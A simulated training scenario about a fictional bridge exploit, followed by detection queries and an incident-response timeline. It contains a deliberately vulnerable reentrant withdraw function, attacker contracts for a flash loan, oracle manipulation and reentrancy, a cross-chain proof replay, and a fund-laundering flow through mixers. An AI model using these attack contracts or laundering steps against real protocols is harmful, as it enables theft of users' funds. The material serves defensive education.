SC-082: Cross-Chain Bridge Exploit — Operation BRIDGE BURN¶

// Simulated smart contract vulnerability analysis (educational only)
// NexaBridge withdrawal function (Solidity — simplified for education)
// VULNERABLE VERSION — do not use in production

// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.19;

contract NexaBridgeVault {
    mapping(address => uint256) public pendingWithdrawals;
    mapping(address => uint256) public withdrawalNonce;
    mapping(bytes32 => bool) public processedProofs;

    // VULNERABILITY: State update AFTER external call
    function withdrawAndUnlock(
        uint256 amount,
        bytes calldata validatorProof,
        uint256 nonce
    ) external {
        bytes32 proofHash = keccak256(
            abi.encodePacked(msg.sender, amount, nonce)
        );

        require(!processedProofs[proofHash], "Proof already processed");
        require(
            verifyValidatorSignatures(proofHash, validatorProof),
            "Invalid validator proof"
        );

        // External call BEFORE state update — reentrancy vulnerability
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update AFTER external call — attacker can re-enter
        processedProofs[proofHash] = true;  // BUG: too late
        withdrawalNonce[msg.sender] = nonce + 1;
    }
}

// Attacker also identifies:
// 1. Oracle price feed uses a single DEX pool as primary source
// 2. Validators use standard cloud infrastructure (enumerable)
// 3. Bridge message relay has 12-block confirmation delay

// Simulated flash loan acquisition (educational only — Solidity pseudocode)

contract BridgeBurnExploit {
    // Step 1: Initiate flash loan from lending protocol
    function executeAttack() external {
        // Borrow $80M equivalent in native tokens
        IFlashLoanProvider(0xLender...AAAA).flashLoan(
            address(this),
            80_000_000 * 1e18,  // $80M in native tokens
            abi.encode(ATTACK_PAYLOAD)
        );
    }

    // Step 2: Flash loan callback — this is where the attack executes
    function onFlashLoan(
        address initiator,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        // Attack phases 3-5 execute within this callback
        // All must complete in a single transaction

        // Phase 3: Manipulate oracle price
        manipulateOracle(amount);

        // Phase 4: Exploit reentrancy
        exploitReentrancy();

        // Phase 5: Extract value
        extractValue();

        // Repay flash loan + fee (or entire tx reverts)
        IERC20(nativeToken).approve(msg.sender, amount + fee);

        return keccak256("FlashLoan");
    }
}

// Simulated oracle manipulation (educational only)

function manipulateOracle(uint256 loanAmount) internal {
    // Step 1: Execute massive swap to distort DEX price
    // The oracle reads price from this DEX pool
    IUniswapV2Router(0xDEX...BBBB).swapExactTokensForTokens(
        loanAmount,           // Swap entire $80M loan
        0,                    // Accept any output (slippage irrelevant)
        swapPath,             // tokenA → tokenB
        address(this),
        block.timestamp + 300
    );

    // Effect on oracle:
    // Before swap: 1 tokenA = 1.00 tokenB (fair price)
    // After swap:  1 tokenA = 0.23 tokenB (manipulated)
    // The oracle now reports tokenA as severely undervalued

    // Step 2: The bridge uses this manipulated price to calculate
    // withdrawal amounts — attacker can now withdraw at inflated rates
}

// Simulated oracle price impact (educational only)
// [2026-04-01 14:22:01 UTC] Oracle update — Block #18847201
//   Price feed: tokenA/tokenB
//   Previous: 1.0000
//   Current:  0.2300 (77% deviation)
//   Source: DEX pool 0xPool...CCCC
//   WARNING: Single-source oracle, no TWAP protection

// Simulated reentrancy exploit (educational only)

contract ReentrancyAttacker {
    INexaBridgeVault public bridge;
    uint256 public attackCount;
    uint256 public maxReentrancy = 7;  // Re-enter 7 times
    bytes public storedProof;
    uint256 public storedAmount;
    uint256 public storedNonce;

    function attack(
        uint256 amount,
        bytes calldata validatorProof,
        uint256 nonce
    ) external {
        storedProof = validatorProof;
        storedAmount = amount;
        storedNonce = nonce;
        attackCount = 0;

        // Initial call to vulnerable function
        bridge.withdrawAndUnlock(amount, validatorProof, nonce);
    }

    // This function is called when the bridge sends ETH
    receive() external payable {
        attackCount++;
        if (attackCount < maxReentrancy) {
            // Re-enter before processedProofs is set to true
            bridge.withdrawAndUnlock(
                storedAmount,
                storedProof,
                storedNonce
            );
        }
    }
}

// Attack execution trace (simulated):
// Call 1: withdrawAndUnlock($6.7M) → transfers $6.7M → triggers receive()
//   Call 2: withdrawAndUnlock($6.7M) → transfers $6.7M → triggers receive()
//     Call 3: withdrawAndUnlock($6.7M) → transfers $6.7M → triggers receive()
//       ...
//       Call 7: withdrawAndUnlock($6.7M) → transfers $6.7M → returns
//     processedProofs[hash] = true (finally set, but too late)
//   processedProofs[hash] = true (already true, no effect)
// processedProofs[hash] = true (already true, no effect)
//
// Total extracted: $6.7M x 7 = $46.9M
// Actual authorized withdrawal: $6.7M
// Excess stolen: $40.2M

// Simulated cross-chain replay (educational only)

// On ChainB, the bridge contract has a similar function:
// mintWrappedTokens(amount, validatorProof, nonce)

// The attacker takes the validator proof from ChainA
// and submits it to ChainB's bridge contract

// ChainB transaction (simulated):
// To: 0xBridge...B2B2 (ChainB bridge contract)
// Function: mintWrappedTokens
// Args:
//   amount: 6700000000000000000000000 ($6.7M)
//   validatorProof: [same proof from ChainA withdrawal]
//   nonce: 447

// Result: ChainB bridge mints $6.7M in wrapped tokens
// These wrapped tokens are immediately swapped on ChainB DEXes

// The replay works because:
// 1. ChainA and ChainB proof verification uses same validator keys
// 2. processedProofs mapping is chain-local (not cross-chain)
// 3. No chain-ID is included in the proof hash
// 4. Validators sign message = hash(sender, amount, nonce)
//    without including the destination chain identifier

// Total attack profit:
// ChainA reentrancy: $46.9M (7 x $6.7M)
// ChainB replay:     $6.7M
// Flash loan repayment: -$80M - $0.08M (fee)
// Oracle swap reversal: ~$79.5M recovered
// Net profit: ~$47M in extracted value

# Simulated fund extraction flow (educational only)
# Step 1: Swap stolen tokens to stablecoins on DEXes
# $46.9M from ChainA → split across 4 DEX aggregators
# $6.7M from ChainB → swapped on ChainB DEX

# Step 2: Bridge stablecoins through alternative bridges
# $15M → Bridge Alpha (ChainA → ChainC)
# $15M → Bridge Beta (ChainA → ChainD)
# $16.9M → remains on ChainA in multiple wallets
# $6.7M → remains on ChainB in multiple wallets

# Step 3: Mixing and obfuscation
# Funds distributed across 47 wallets
# Sent through mixing protocol in $500K batches
# 12-24 hour delays between mixer transactions

# Wallet addresses (synthetic — all 0x0000 prefix):
# Primary: 0x0000...attacker1 → 0x0000...attacker2 → mixer
# Split:   0x0000...split01 through 0x0000...split47
# Final:   mixer → 47 unique destination wallets

# Simulated detection timeline (educational only)
[2026-04-01 14:22:05 UTC] ORACLE MONITOR — WARNING
  Feed: tokenA/tokenB
  Deviation: 77% from 24h TWAP
  Threshold for auto-pause: 80%
  Action: Alert sent to protocol team Telegram
  NOTE: Did not trigger circuit breaker (threshold too high)

[2026-04-01 14:26:12 UTC] TVL MONITOR — CRITICAL
  Protocol: NexaBridge
  Previous TVL: $120,000,000
  Current TVL:  $73,100,000
  Change: -$46,900,000 (-39.1%)
  Timeframe: Single block (#18847201)
  Action: Emergency alert to all channels

[2026-04-01 14:30:44 UTC] VALIDATOR ALERT — ANOMALY
  Source: validator-03 (198.51.100.12)
  Alert: Unusual attestation volume
  Details: 8 withdrawal attestations in 1 block
           (normal: 2-3 per block average)
  Cross-reference: All attestations for same proof hash
  Action: Emergency multisig convened

// KQL — Detect smart contract reentrancy patterns
BlockchainTransactionLog
| where TimeGenerated > ago(1h)
| where ContractAddress == "0xBridge...A1A1"
| where FunctionName == "withdrawAndUnlock"
| summarize CallCount = count(),
            TotalValue = sum(TransactionValue),
            UniqueCallers = dcount(FromAddress),
            InternalCallDepth = max(TraceDepth)
  by FromAddress, BlockNumber, bin(TimeGenerated, 1m)
| where CallCount > 2
    or InternalCallDepth > 3
    or TotalValue > 5000000
| project TimeGenerated, FromAddress, BlockNumber,
          CallCount, TotalValue, InternalCallDepth

// KQL — Detect oracle price manipulation
OraclePriceFeedLog
| where TimeGenerated > ago(1h)
| where FeedName == "tokenA_tokenB"
| extend PriceChange = abs(Price - prev(Price)) / prev(Price) * 100
| where PriceChange > 10
| join kind=inner (
    DEXSwapLog
    | where TimeGenerated > ago(1h)
    | where SwapValue > 10000000
    | summarize SwapVolume = sum(SwapValue) by bin(TimeGenerated, 1m)
) on TimeGenerated
| project TimeGenerated, FeedName, PriceChange, SwapVolume

// KQL — Detect cross-chain replay attacks
BridgeAttestationLog
| where TimeGenerated > ago(1h)
| summarize ChainCount = dcount(ChainID),
            Chains = make_set(ChainID),
            TotalClaims = count()
  by ProofHash
| where ChainCount > 1
| project ProofHash, ChainCount, Chains, TotalClaims

# SPL — Detect smart contract reentrancy patterns
index=blockchain sourcetype=transaction_log
  contract_address="0xBridge...A1A1"
  function_name="withdrawAndUnlock"
| bin _time span=1m
| stats count as call_count,
        sum(transaction_value) as total_value,
        dc(from_address) as unique_callers,
        max(trace_depth) as max_depth
  by from_address, block_number, _time
| where call_count > 2
    OR max_depth > 3
    OR total_value > 5000000
| table _time, from_address, block_number, call_count,
        total_value, max_depth

# SPL — Detect oracle price manipulation
index=oracle sourcetype=price_feed feed_name="tokenA_tokenB"
| sort _time
| streamstats current=f last(price) as prev_price
| eval price_change=abs(price - prev_price) / prev_price * 100
| where price_change > 10
| join _time [
    search index=dex sourcetype=swap_log swap_value>10000000
    | bin _time span=1m
    | stats sum(swap_value) as swap_volume by _time
  ]
| table _time, feed_name, price, prev_price, price_change, swap_volume

# SPL — Detect cross-chain replay attacks
index=bridge sourcetype=attestation_log
| stats dc(chain_id) as chain_count,
        values(chain_id) as chains,
        count as total_claims
  by proof_hash
| where chain_count > 1
| table proof_hash, chain_count, chains, total_claims

# Simulated incident response (educational only)
[2026-04-01 14:40:00 UTC] EMERGENCY: Bridge pause initiated
  Multisig signers: validator-01, validator-03, validator-05
  Missing: validator-02, validator-04 (unresponsive — later
           confirmed NOT compromised, operators were in different
           time zones and missed the alert)
  ChainA contract: PAUSED at block #18847289
  ChainB contract: PAUSED at block #9423177
  All pending withdrawals: FROZEN

[2026-04-01 15:00:00 UTC] ACTION: Forensic analysis initiated
  Transaction trace: Block #18847201 analyzed
  Attack contract: 0x0000...attacker1 (identified)
  Flash loan source: confirmed
  Reentrancy depth: 7 calls confirmed
  Cross-chain replay: 1 replay on ChainB confirmed

[2026-04-01 16:00:00 UTC] ACTION: Fund tracking initiated
  On-chain analytics team activated
  47 destination wallets flagged
  Stablecoin issuers notified for potential freeze
  Community bounty: $2M for information leading to recovery

[2026-04-01 18:00:00 UTC] ACTION: Root cause analysis
  Vulnerability 1: Reentrancy in withdrawAndUnlock() — confirmed
  Vulnerability 2: Missing chain-ID in proof hash — confirmed
  Vulnerability 3: Oracle uses single DEX pool, no TWAP — confirmed
  Vulnerability 4: Circuit breaker threshold too high (80%) — confirmed